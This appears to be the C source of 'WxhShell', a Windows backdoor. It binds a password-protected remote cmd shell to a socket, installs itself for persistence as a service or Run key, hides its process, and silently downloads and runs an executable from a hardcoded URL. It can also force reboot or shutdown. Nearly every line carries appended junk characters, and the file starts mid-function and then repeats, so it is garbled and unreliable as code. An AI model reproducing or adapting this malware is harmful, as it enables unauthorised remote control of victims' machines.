    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /Gu2@m[r  
    if(Boot(SHUTDOWN)) "7u"d4h-:(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q $,kB<M  
    else { ROiX =i  
    closesocket(wsh); |"(3]f\  
    ExitThread(0); Yka yT0!  
    } pHbguoH,  
    break; +,w|&y  
    } oXOO 10  
  // 获取shell /3HWP`<x  
  case 's': { (~yJce  
    CmdShell(wsh); AG!a=ufc0  
    closesocket(wsh); dg@/HLZ  
    ExitThread(0); [A/+tv  
    break; |gxB; GG  
  } wEn&zZjx  
  // 退出 lfG&V +S1  
  case 'x': { ]d;/6R+Vs  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *j;r|P;g  
    CloseIt(wsh); PX{~!j%n  
    break; nylIP */  
    } !6`nN1A  
  // 离开 ?26[%%  
  case 'q': { &(1NOyX&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^bw~$*"j#  
    closesocket(wsh); m9i%U   
    WSACleanup(); X-^Oz@.>  
    exit(1); tm#y `1-  
    break; s+t eYL#Zi  
        } ZuV  
  } nff]Y$FB  
  } f3&//h8  
Sk%|-T(d$  
  // 提示信息 >R0j<:p :  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z ' 96d  
} cLF>Jvs*J  
  } l3$?eGGM  
_!Q\Xn  
  return; 7!r`DZ"yF  
} ,6)y4=8 L  
R-|]GqS}L  
// shell模块句柄 u _^=]K;  
int CmdShell(SOCKET sock) he6) L6T  
{ $h f\ #'J  
STARTUPINFO si; M:M<bz Vu  
ZeroMemory(&si,sizeof(si)); :CHd\."%+1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0w&1wee(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \'b- ;exH  
PROCESS_INFORMATION ProcessInfo; >FhBl\oIi  
char cmdline[]="cmd"; \Ki#"%S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]<_+uciP5[  
  return 0; W%:zvqg v  
} arrcHf 4O  
r4zS,J;,  
// 自身启动模式 $*ZHk0 7x  
int StartFromService(void) 2%H( a)  
{ yh!vl&8M  
typedef struct mY9K)]8  
{ 5eJd$}Lbc  
  DWORD ExitStatus; W5{e.eI}|  
  DWORD PebBaseAddress; tam/FzVw  
  DWORD AffinityMask; OkXOV   
  DWORD BasePriority; $Q4b~  
  ULONG UniqueProcessId; !ZdUW]  
  ULONG InheritedFromUniqueProcessId; E$ rSrT(  
}   PROCESS_BASIC_INFORMATION; c9 c Nlp  
o~ed0>D-LS  
PROCNTQSIP NtQueryInformationProcess; $4]PN2d&  
I&c#U+-A'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /zKuVaC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hd' n"  
xOlkG*3c  
  HANDLE             hProcess; 2} -W@R  
  PROCESS_BASIC_INFORMATION pbi; =G :H)i  
71InYIed  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b :00w["  
  if(NULL == hInst ) return 0; u1l#k60  
I6_+3}Hm{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mUxD.;P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q6dq@   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); iuEdm:pW  
.xx9tP}Xy  
  if (!NtQueryInformationProcess) return 0; +]X^bB[  
l3,|r QD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R0WJdW#  
  if(!hProcess) return 0; ~JJv 2  
I5mS!m/X  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (iFhn*/ E  
'4iu0ie>D  
  CloseHandle(hProcess); Qa=;Elp:[  
?QgWW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Nf1l{N  
if(hProcess==NULL) return 0; 2rk_ ssvs  
4Hw8w7us:  
HMODULE hMod; R= l/EK  
char procName[255]; *7ox_ R@  
unsigned long cbNeeded; 0(n/hJ  
dFlx6H+R!0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J GdVSjNC  
Lqt]  
  CloseHandle(hProcess); <M=K!k  
rv+"=g  
if(strstr(procName,"services")) return 1; // 以服务启动 \*7Tj-#  
lH[N*9G(  
  return 0; // 注册表启动 w*?JW  
} =8]'/b  
M:A7=rO~  
// 主模块 MkQSq MU=  
int StartWxhshell(LPSTR lpCmdLine) WVVqH_  
{ b |EZ;,i  
  SOCKET wsl; $ysC)5q.  
BOOL val=TRUE; yuND0,e  
  int port=0; B!:(*lF  
  struct sockaddr_in door; GYBM]mW^ W  
'vXrA  
  if(wscfg.ws_autoins) Install(); *@yYqI<1a  
{w2<;YXj!  
port=atoi(lpCmdLine); DpA)Z ??  
jYU#] |k~  
if(port<=0) port=wscfg.ws_port; '1d-N[  
+s`n]1HC  
  WSADATA data; C@K@TfK!M  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ex-`+cF  
SgJQH7N  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R\iU)QP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qh=lF_%uj  
  door.sin_family = AF_INET; IuPwFf)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X/?3ifP6I  
  door.sin_port = htons(port); /0zk&g  
zdr?1=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z*:^*,  
closesocket(wsl); na<g /&  
return 1; TK'(\[E  
} $"sf%{~  
T1Xm^{  
  if(listen(wsl,2) == INVALID_SOCKET) {  pCv=rK@  
closesocket(wsl); <MY_{o8d  
return 1; m|'TPy  
} p 3X>  
  Wxhshell(wsl); KVJiCdg-  
  WSACleanup(); F`'e/  
2&dtOyxo>  
return 0; 0LxA+  
f ^z7K  
} *2@Ne[dYEF  
o <sX6a9e  
// 以NT服务方式启动 V"gnG](2l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Si!W@Jm  
{ "#(]{MY  
DWORD   status = 0; r%F{1.  
  DWORD   specificError = 0xfffffff; f:e~ystm  
6X)8vQH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6 :J @  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; eo"6 \3z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +\SbrB P  
  serviceStatus.dwWin32ExitCode     = 0; (m})V0/`  
  serviceStatus.dwServiceSpecificExitCode = 0; ]e 81O#t3  
  serviceStatus.dwCheckPoint       = 0; gZ:)l@ Wu  
  serviceStatus.dwWaitHint       = 0; zS]Yd9;X1  
,0;E_i7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9_oIAn:<  
  if (hServiceStatusHandle==0) return; BHqJ~2&FDW  
,:j^EDCsaJ  
status = GetLastError(); ^<7)w2ns  
  if (status!=NO_ERROR) n~k;9`  
{ L9&Z?$6J_p  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >i-cR4=LL{  
    serviceStatus.dwCheckPoint       = 0; n"$D/XJO  
    serviceStatus.dwWaitHint       = 0; Cj,fP[p#7  
    serviceStatus.dwWin32ExitCode     = status; g.Z>9(>;Y  
    serviceStatus.dwServiceSpecificExitCode = specificError; >DpnIWn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0 ; M+8  
    return; 3L/>=I{5  
  } (F +if  
JEGcZeq)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Xq1n1_Z  
  serviceStatus.dwCheckPoint       = 0; ma?$@ ]`k  
  serviceStatus.dwWaitHint       = 0; !zVuO*+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8S &`  
} $*{PUj  
s'J8E+&5  
// 处理NT服务事件,比如:启动、停止 #92 :h6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) rX)PN3TD  
{ A!x_R {,yH  
switch(fdwControl) 0,{Dw9W:  
{ p3qlVE  
case SERVICE_CONTROL_STOP: ,0[bzk  
  serviceStatus.dwWin32ExitCode = 0; OXK?R\ E+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <U (gjX  
  serviceStatus.dwCheckPoint   = 0; fr4#< 6,  
  serviceStatus.dwWaitHint     = 0;  +,gI|  
  { y9?BvPp+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k^:$ETW2 D  
  } =;9Wh!{  
  return; k:nr!Y<  
case SERVICE_CONTROL_PAUSE: TwqyQ49  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; x}?y@.sn8  
  break; O&!+ni  
case SERVICE_CONTROL_CONTINUE: lc,{0$ 1<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {+0]diD  
  break; n{6XtIoYq  
case SERVICE_CONTROL_INTERROGATE: N4}j,{#  
  break; dP=1*  
}; A|,\}9)4X[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3?|Fn8dQR.  
} Zz'(!h Uy  
5?&k? v@  
// 标准应用程序主函数 ZT5t~5W  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) MRwls@z=  
{ !h4S`2oZ/  
x }[/A;N  
// 获取操作系统版本 W/<]mm~95  
OsIsNt=GetOsVer(); gYn1-/Z>I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9OuK}Ssf  
"WdGY*r  
  // 从命令行安装 dQVV0)z  
  if(strpbrk(lpCmdLine,"iI")) Install(); /pan{.< k  
:DXkAb2  
  // 下载执行文件 0(VH8@h`O  
if(wscfg.ws_downexe) { hZ Gr/5f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8xJdK'  
  WinExec(wscfg.ws_filenam,SW_HIDE); iA3d[%tBb  
} -==@7*x!Z  
rk*Igqf  
if(!OsIsNt) { z6#N f,  
// 如果时win9x,隐藏进程并且设置为注册表启动 kSv?p1\@&P  
HideProc(); Q.7Rv XNw8  
StartWxhshell(lpCmdLine); GMU.Kt  
} Q:& ,8h[  
else oUIa/}}w5  
  if(StartFromService()) Wp/!;  
  // 以服务方式启动 Dq/[ g,(  
  StartServiceCtrlDispatcher(DispatchTable); S}gUz9ks  
else AR\>P  
  // 普通方式启动 &Y%Kr`.h  
  StartWxhshell(lpCmdLine); A8&yB;T$y  
3Q*K+(`{  
return 0; g e)g?IP4  
} 8+{WH/}y8  
M7^PWC  
[7q~rcf,Z  
h@=H7oV7k  
=========================================== _m;0%]+  
+8Yt91   
1fM= >Z  
.%_scNP  
Un@B D}@\  
<&\HXAOd  
" 3.U5Each-  
wvvMesX<L  
#include <stdio.h> u`dWU}m)  
#include <string.h> 9_V'P]@  
#include <windows.h> ftq&<8  
#include <winsock2.h> hPF9y@lh  
#include <winsvc.h> *X+T>SKL  
#include <urlmon.h> RKFj6u  
Pwf2dm$,+  
#pragma comment (lib, "Ws2_32.lib") 7].tt  
#pragma comment (lib, "urlmon.lib") QE[ETv  
lfG]^id'  
#define MAX_USER   100 // 最大客户端连接数 B;9X{"  
#define BUF_SOCK   200 // sock buffer kKAK;JQ  
#define KEY_BUFF   255 // 输入 buffer TzmoyY  
L^3~gZ  
#define REBOOT     0   // 重启 +RQlMAB  
#define SHUTDOWN   1   // 关机 EpSVHD:*  
wG [X*/v  
#define DEF_PORT   5000 // 监听端口 ; S7 %  
^d Fdw\  
#define REG_LEN     16   // 注册表键长度 'qwFVP  
#define SVC_LEN     80   // NT服务名长度 8X!^ 2B}J  
wG6>.`:  
// 从dll定义API j:B?0~=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O`5PX(J1&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `VY -3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }md[hiJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K.4t*-<`[  
E9TWLB5A)(  
// wxhshell配置信息 fa9c!xDt  
struct WSCFG { LnP={s  
  int ws_port;         // 监听端口 q|BR-0yi  
  char ws_passstr[REG_LEN]; // 口令 .)~IoIW=  
  int ws_autoins;       // 安装标记, 1=yes 0=no [t/7hx"2t  
  char ws_regname[REG_LEN]; // 注册表键名 ~6L\9B )  
  char ws_svcname[REG_LEN]; // 服务名 jPU:&1(_ n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H+y(W5|2/X  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 XoEiW R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hi4#8W  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `6;%HbP$W+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \9T CP;{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W m\HZ9PN  
[F{q.mZj  
}; g>)&Q >}=W  
> 5-z"f  
// default Wxhshell configuration },G6IuH%  
struct WSCFG wscfg={DEF_PORT, 6&/n/g  
    "xuhuanlingzhe", 78&(>8@m  
    1, a[d6@!  
    "Wxhshell", k)j, ~JH  
    "Wxhshell", .vHSKd{  
            "WxhShell Service", #vCtH2  
    "Wrsky Windows CmdShell Service", QII-9 RxX"  
    "Please Input Your Password: ", CUIT)mF:  
  1, X:Z4QqT  
  "http://www.wrsky.com/wxhshell.exe", uj#bK 7  
  "Wxhshell.exe" yop,%Fe  
    }; =yo?]ZS  
*9.4AW~]X  
// 消息定义模块 KqC8ozup  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {]Tb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1KwUp0% &  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ajB4 Lj,:r  
char *msg_ws_ext="\n\rExit."; l]tda(  
char *msg_ws_end="\n\rQuit."; j)?[S  
char *msg_ws_boot="\n\rReboot..."; D >ax<t1K  
char *msg_ws_poff="\n\rShutdown..."; AmYqrmJ  
char *msg_ws_down="\n\rSave to "; P X/{  
vzDoF0Ts*p  
char *msg_ws_err="\n\rErr!"; :: IAXGH)  
char *msg_ws_ok="\n\rOK!"; b5WtL+Z  
$&D$Uc`U>  
char ExeFile[MAX_PATH]; L[v-5u)  
int nUser = 0; R%l6+Okr  
HANDLE handles[MAX_USER]; fCg"tckE  
int OsIsNt; 7i(U?\A;.  
ErZYPl  
SERVICE_STATUS       serviceStatus; rBNl%+ sB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c*F'x-TH  
^|Bpo(  
// 函数声明 um.s :vj$  
int Install(void); ^\|Hz\"*  
int Uninstall(void); EPO*{bN7O  
int DownloadFile(char *sURL, SOCKET wsh); q]PeS~PjF\  
int Boot(int flag); eYSVAj  
void HideProc(void); k Qm\f  
int GetOsVer(void); k)l*L1Y4:  
int Wxhshell(SOCKET wsl); Wk3R6 V  
void TalkWithClient(void *cs); kC : pal  
int CmdShell(SOCKET sock); FUy!j|W6f  
int StartFromService(void); #Z%?lx"Q0  
int StartWxhshell(LPSTR lpCmdLine); H{&o_  
#fT1\1[]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Hz A+Oi  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +[W_J z  
@C\>P49  
// 数据结构和表定义 UC@ &! kM  
SERVICE_TABLE_ENTRY DispatchTable[] = VE_%/Fs,  
{ a+wc"RQ |  
{wscfg.ws_svcname, NTServiceMain}, h5@v:4Jjo~  
{NULL, NULL} R 2.y=P8N  
}; ~lg1S  
kd0~@rPL  
// 自我安装 Xgq-r $O2X  
int Install(void) funHznRR  
{ c{X>i>l>  
  char svExeFile[MAX_PATH]; =^nb-9.  
  HKEY key; QY$Z,#V)  
  strcpy(svExeFile,ExeFile); iEe<+Eyns  
qRV5qN2{XY  
// 如果是win9x系统,修改注册表设为自启动 f[S$ Gu4-  
if(!OsIsNt) { ;|nC;D]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o>3g<- ul  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {'(1c)q>  
  RegCloseKey(key); g)o?nAr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l~cT]Ep  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]t4 9Efw  
  RegCloseKey(key); m\h. sg&  
  return 0; d5b \kRr  
    } FNQR sNi  
  } jg,oGtRz  
} r$=YhI/=  
else { T*m;G(  
="M7F0k  
// 如果是NT以上系统,安装为系统服务 gWqO5C~h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9lT6fW`v1Q  
if (schSCManager!=0) lDBn3U&z>  
{ w-[A"M]I  
  SC_HANDLE schService = CreateService ue YBD]3'  
  ( M=HP!hn  
  schSCManager, %cPz>PTW@  
  wscfg.ws_svcname, vmV<PK-  
  wscfg.ws_svcdisp, E`^?2dv+/  
  SERVICE_ALL_ACCESS, Ax'jNol  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =|@%5&.P  
  SERVICE_AUTO_START, ig] hY/uT  
  SERVICE_ERROR_NORMAL, h`1{tu  
  svExeFile, 5)}3C_pmW  
  NULL, S6J7^'h  
  NULL, qQL]3qP  
  NULL, ZO`{t1   
  NULL, btQDG  
  NULL )v4?+$g  
  ); ;k<n}shD  
  if (schService!=0) 3A~53W$M  
  { Z(' iZ'55F  
  CloseServiceHandle(schService); L}>XH*  
  CloseServiceHandle(schSCManager); z x7fRd$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0cd`. ZF  
  strcat(svExeFile,wscfg.ws_svcname); `L-GI{EJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wEMh !jAbv  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m' LRP:9v  
  RegCloseKey(key); OS X5S:XS  
  return 0;  qac4GZ  
    } n+C,v.X  
  } K#O8P+n5[  
  CloseServiceHandle(schSCManager); ,mu=#}a@}  
} qre.^6x  
} QasUgZ  
_N.N?>  
return 1; q~3dbj  
} GsYi/Z   
9M$=X-  
// 自我卸载 U~,~GU=X  
int Uninstall(void) r9x.c7=O  
{ %T.4Aj  
  HKEY key; t-xw=&!w  
~S\Ee 2e>  
if(!OsIsNt) { kfod[*3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sT.:"Pj$  
  RegDeleteValue(key,wscfg.ws_regname); f}4bnu3  
  RegCloseKey(key); rA/jNX@S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b*-g@S  
  RegDeleteValue(key,wscfg.ws_regname); l9U^[;D  
  RegCloseKey(key); 8P wobln  
  return 0; Z#-:zD7_  
  } wKjL}1.k  
} $1Lm=2;U  
} g;bfi{8s_  
else { e}Y|' bG  
0>uMR{ #  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6LGy0dWpG  
if (schSCManager!=0) qusX]Tst z  
{ G0Q8"]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xMk0Xf'_  
  if (schService!=0) +Om(&\c(6  
  { .A: #l?  
  if(DeleteService(schService)!=0) { ,ux?wa+  
  CloseServiceHandle(schService); dS7?[[pg9  
  CloseServiceHandle(schSCManager); <2cl1Fb  
  return 0; 8 |2QJ  
  } Q:.q*I!D<4  
  CloseServiceHandle(schService); #6])\  
  } 29]T:I1d[  
  CloseServiceHandle(schSCManager); N# Ru `;  
} pi>,>-Z  
} ={Bcbj{  
[B}$U|V0  
return 1; <ID/\Qx`q  
} ?0%yDq1_  
_*d8:|qw  
// 从指定url下载文件 !f 7CN<  
int DownloadFile(char *sURL, SOCKET wsh) 0PiD<*EA  
{ 9#K,@X5 j  
  HRESULT hr; R`? '|G]P  
char seps[]= "/"; '&?OhSeN  
char *token; @" -[@  
char *file; ~j%g?;#*  
char myURL[MAX_PATH]; 7 &y'\  
char myFILE[MAX_PATH]; zZ rUS'8  
"E4;M/  
strcpy(myURL,sURL); *VJT]^_  
  token=strtok(myURL,seps); T%GdvtmS>  
  while(token!=NULL) 8UH c,np  
  { $a^YJY^_  
    file=token; MHh>~Y(h  
  token=strtok(NULL,seps); oD_n+95B  
  } 3v~804kWB  
5F#Q1gP-  
GetCurrentDirectory(MAX_PATH,myFILE); :A+nmz!z  
strcat(myFILE, "\\"); tO0MYEx"  
strcat(myFILE, file); QWqEe|}6  
  send(wsh,myFILE,strlen(myFILE),0); j<H5i}  
send(wsh,"...",3,0); >LvQ&fAo  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {0a (R2nB  
  if(hr==S_OK) Lye^G% {  
return 0; 2~yYwX  
else  58S>B'  
return 1; 0K+a/G@ n\  
k!9LJ%Xh  
} BSe{HmDq  
,ALEfepo  
// 系统电源模块 %9bf^LyD  
int Boot(int flag) @xKfqKoqg  
{ }6U`/"RfcO  
  HANDLE hToken; h'Gs$o7#P  
  TOKEN_PRIVILEGES tkp; X\\c=[#8-  
a]JQZo1$  
  if(OsIsNt) { 7iI6._"!w  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E=G"_ ^hCE  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L[Z SgRTu  
    tkp.PrivilegeCount = 1; uT")j,tz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O r {9?;G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U|[+M@F_L  
if(flag==REBOOT) { xN^ngRg0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,CGq_>Z  
  return 0; l"T{!Oq  
} rMV<}C ^  
else { [I XX#^F  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C rA7lu'  
  return 0; V_1'` F  
} =Gl6~lJ{_  
  } a$}n4p  
  else { !YM;5vte+  
if(flag==REBOOT) { @<^_ _."  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F<W`zQ46  
  return 0; J83{&N2u  
} ~~8?|@V  
else { HU~,_m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0$saDmED  
  return 0; cx+li4v  
} .u<i<S  
} }3^b1D>2O  
/o/0 9K  
return 1; .aA 8'/  
} +Jf4 5[D   
7 3 Oo;  
// win9x进程隐藏模块 Q&JnF`*  
void HideProc(void)  4E"OD+  
{ K3CTxU(  
*8WcRx  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1vy*u  
  if ( hKernel != NULL ) ?;q  
  { Z`W @Od$f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K6 {0`'x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W7sx/O9  
    FreeLibrary(hKernel); BAJEn6f?  
  } ]<Ugg  
r@|{mQOxa  
return; f^EDiG>b`  
} \W;+@w|c  
c)7i%RF'  
// 获取操作系统版本 +!'rw D  
int GetOsVer(void) D09/(%4j  
{ QcXqMx  
  OSVERSIONINFO winfo; nMBKZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t9Sog~:'  
  GetVersionEx(&winfo); qh40nqS;9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uyp|Xh,  
  return 1; K~U5jp c  
  else -0tHc=\u(  
  return 0; '`+GC9VG  
} X AnN<  
xDJs0P4  
// 客户端句柄模块 YNRorE   
int Wxhshell(SOCKET wsl) (F wWyt  
{ R cz;|h8  
  SOCKET wsh; RV&=B%w+  
  struct sockaddr_in client; OJ/l}_a  
  DWORD myID; )S,Rx  
j9bn|p$DA  
  while(nUser<MAX_USER) L^7"I 4=(D  
{ sfN6ro  
  int nSize=sizeof(client); p>O>^R  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8 <~E;:  
  if(wsh==INVALID_SOCKET) return 1; SDW_Y^Tb  
^xpiNP!?a  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /c>@^  
if(handles[nUser]==0) \?|FB~.Ry  
  closesocket(wsh); BnB]]<gO"  
else pow.@  
  nUser++; U)3*7D  
  } 5 wT e?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `u *:wJsv  
1U/ dc.x5  
  return 0; y1FE +EX[  
} +@ j@#~=K  
(PM!{u=  
// 关闭 socket $N[R99*x8  
void CloseIt(SOCKET wsh) L PDx3MS  
{ qkg`4'rLg  
closesocket(wsh); 8d!t"oj68  
nUser--; X<j(AAHE  
ExitThread(0); XEB1%. p  
} E76#xsyhF  
_T{ "F  
// 客户端请求句柄 {Y(#<UDM  
void TalkWithClient(void *cs) Jw b'5[R  
{ %+{[%?xh  
n@`:"j%s_  
  SOCKET wsh=(SOCKET)cs; gZ^'hW-{  
  char pwd[SVC_LEN]; CBVL/pxy  
  char cmd[KEY_BUFF]; ~kJ}Z<e  
char chr[1]; EV$$wrohQ`  
int i,j; qSg=[7XOO  
p:/#nmC<  
  while (nUser < MAX_USER) { z :q9~  
Si:$zGL$(  
if(wscfg.ws_passstr) { FS1> J%P  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ma%PVz`I;9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hbOyrjan x  
  //ZeroMemory(pwd,KEY_BUFF); bh~"LQS1  
      i=0; V?0Yzg$sy  
  while(i<SVC_LEN) { xX5EhVR   
0|^/e -^  
  // 设置超时 NO%x 2dx0  
  fd_set FdRead; O2n[`9*  
  struct timeval TimeOut; v RR(b!Lq  
  FD_ZERO(&FdRead); 'Wv`^{y <^  
  FD_SET(wsh,&FdRead); e-`=?tct  
  TimeOut.tv_sec=8; *\M$pUS{  
  TimeOut.tv_usec=0; FB\lUO)U\c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l[P VWM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?: XY3!{  
Uh tk`2O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H/I1n\  
  pwd=chr[0]; \H -,^[G3  
  if(chr[0]==0xd || chr[0]==0xa) { f0h^ULd  
  pwd=0; O9_S"\8]@  
  break; ~*-%tFSv  
  } -<jd/ 5  
  i++; Shm$>\~=  
    } kR1dk4I4  
Wi5rXZS  
  // 如果是非法用户,关闭 socket 5e|2b] f$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j0eGg::  
} +kXj+2  
[/Figr]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f]*_]J/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &AS<2hB  
bTrQ(qp  
while(1) { YcQ3 :i  
Y2B ",v"  
  ZeroMemory(cmd,KEY_BUFF); G=Qslrtg  
!K~L&.\T  
      // 自动支持客户端 telnet标准   >e4w8Svcy  
  j=0; aV6l"A]  
  while(j<KEY_BUFF) { pEn3:.l<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bB#6Xx  
  cmd[j]=chr[0]; ;Bs^+R7  
  if(chr[0]==0xa || chr[0]==0xd) { ?#cX_  
  cmd[j]=0; ' >F_y t9  
  break; x|6# /m  
  } ,M)NC%0X  
  j++; ~:|qdv%\  
    } Z\)emps  
AVx 0aj  
  // 下载文件 =)p/p6  
  if(strstr(cmd,"http://")) { C K{.Ic^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2Y2J)5,  
  if(DownloadFile(cmd,wsh)) 'B$ bGQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^&|$&7  
  else -A\J:2a|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `c-(1 ;Jb  
